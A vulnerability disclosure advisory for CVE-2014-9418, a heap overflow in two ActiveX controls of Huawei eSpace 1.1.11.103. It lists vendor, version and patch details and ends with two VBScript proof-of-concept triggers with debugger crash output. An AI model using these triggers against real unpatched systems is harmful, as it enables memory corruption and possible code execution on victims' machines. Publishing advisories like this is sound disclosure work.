Huawei eSpace 1.1.11.103 Meeting Heap Overflow

`  
Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow  
  
  
Vendor: Huawei Technologies Co., Ltd.  
Product web page: https://www.huawei.com  
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)  
eSpace UC V200R002C02  
  
Summary: Create more convenient Enhanced Communications (EC) services for your  
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines  
voice, data, video, and service streams, and provides users with easy and secure  
access to their service platform from any device, in any place, at any time. The  
eSpace Meeting allows you to join meetings that support voice, data, and video  
functions using the PC client, the tablet client, or an IP phone, or in a meeting  
room with an MT deployed.  
  
Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing  
large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll'  
and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting  
in heap memory corruption. An attacker can gain access to the system of the affected node  
and execute arbitrary code.  
  
Vuln ActiveX controls:  
C:\Program Files\eSpace-ecs\ContactsCtrl.dll  
C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll  
  
Tested on: Microsoft Windows 7 Professional  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
  
23.09.2014  
  
Patched version: V200R001C03  
Vuln ID: HWPSIRT-2014-1157  
CVE ID: CVE-2014-9418  
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589  
  
--  
  
  
ContactsCtrl.dll PoC and debug output:  
  
<object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll"  
prototype = "Function GetNameByNum ( ByVal strNum As String ) As String"  
memberName = "GetNameByNum"  
progid = "ContactsCtrlLib.ContactWnd"  
argCount = 1  
arg1=String(616400, "A")  
target.GetNameByNum arg1   
  
0:000> d esi  
04170024 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170034 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170044 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170054 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170064 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170074 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170084 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
04170094 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
  
  
eSpaceStatusCtrl.dll PoC and debug output:  
  
<object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll"  
prototype = "Sub SetUserInfo ( ByVal strAccount As String , ByVal staffNo As String , ByVal strName As String , ByVal status As Long )"  
memberName = "SetUserInfo"  
progid = "eSpaceStatusCtrlLib.StatusCtrl"  
argCount = 4  
arg1="defaultV"  
arg2="defaultV"  
arg3=String(14356, "A")  
arg4=1  
target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4   
  
0:005> r  
eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698  
eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0 nv up ei ng nz ac po cy  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293  
ntdll!RtlEnterCriticalSection+0x4a:  
776def10 83790800 cmp dword ptr [ecx+8],0 ds:0023:feeefef6=????????  
`